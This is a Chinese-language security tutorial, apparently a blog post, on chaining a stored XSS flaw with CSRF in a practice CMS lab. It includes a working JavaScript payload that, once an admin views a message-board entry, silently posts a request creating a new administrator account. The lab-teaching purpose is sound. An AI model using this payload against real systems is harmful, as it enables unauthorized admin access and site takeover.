CSRF+XSS组合拳实战
在本案例中,我将会使用cms靶场,这个靶场可以前往这个地址下载:
https://gitee.com/yuan_boss/labs.git
CSRF+XSS组合分析
由于在实战中,CSRF的利用条件很苛刻,因为我们需要让受害者点击我们的恶意请求不是一件容易的事情,因为谁没事会点击你的链接呢。所以单单一个CSRF漏洞危害是很小的,所以我们为了扩大危害,就需要借助XSS漏洞与之配合,打出组合拳的效果,从而扩大危害。那么XSS是如何配合CSRF的呢?
相信学习到CSRF的小伙伴都知道,XSS能让受害者执行JS代码,然而JS代码其实还有发起请求的功能,因此可以配合CSRF。我们利用XSS执行JS代码的时候发起我们构造的恶意请求,从而能达到让受害者无感知地受到攻击。
实战思路分析
那我们的攻击思路是什么呢?其实和普通的CSRF攻击思路是几乎一样的,组合拳无非就是需要将XSS漏洞作为载体,与CSRF配合达到无感知攻击。攻击思路如下:
- 分析功能点的请求接口,构造恶意请求(创建网站后台管理员账密)
- 编写发起恶意请求的恶意JS
- 寻找XSS漏洞
- 使用恶意的JS进行XSS攻击
接口分析
进入后台管理界面找到添加用户的功能点进行抓包分析
BP抓包,请求包显示如下:
当然,我们可以利用BP生成CSRF的poc进行验证,生成poc的方式在我的上篇文章有,这里就不赘述了,也可以不验证,直接往下面继续走。
编写恶意JS
<script>
xmlhttp = new XMLHttpRequest();
xmlhttp.open("post","http://10.9.75.168/cms/cms/admin/user.action.php",false);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("act=add&username=yuanboss&password=123456&password2=123456&button=%E6%B7%BB%E5%8A%A0%E7%94%A8%E6%88%B7&userid=0");
</script>
寻找XSS漏洞
经过对cms靶场的功能点寻找,我们发现了一个留言板,由于留言需要管理员审核,所以这里就可以进行XSS盲打,想知道XSS盲打的小伙伴可以看我的这篇文章:XSS盲打实战与Cookie欺骗
存在XSS漏洞的功能点如下图所示,我们把编写好的恶意JS当做留言的内容传给管理员审核,借助管理员的Cookie进行添加账户,从而完成XSS+CSRF的组合攻击:
XSS+CSRF组合拳攻击
当我们提交我们的恶意JS之后,我们接下来就需要模拟管理员去查看留言管理,从而触发我们的恶意JS。
查看留言板管理
查看管理员账号
可以发现,我们成功添加了管理员账号。
总结
由于CSRF利用条件比较苛刻,需要受害者点击恶意请求。因此我们可需要借助XSS来扩大危害,借用XSS漏洞执行JS代码,让JS直接发起请求,从而不需要让受害者点击恶意请求了。
在实战中,如果我们发现了XSS存储型漏洞,我们也可以尝试寻找CSRF漏洞,进而扩大危害。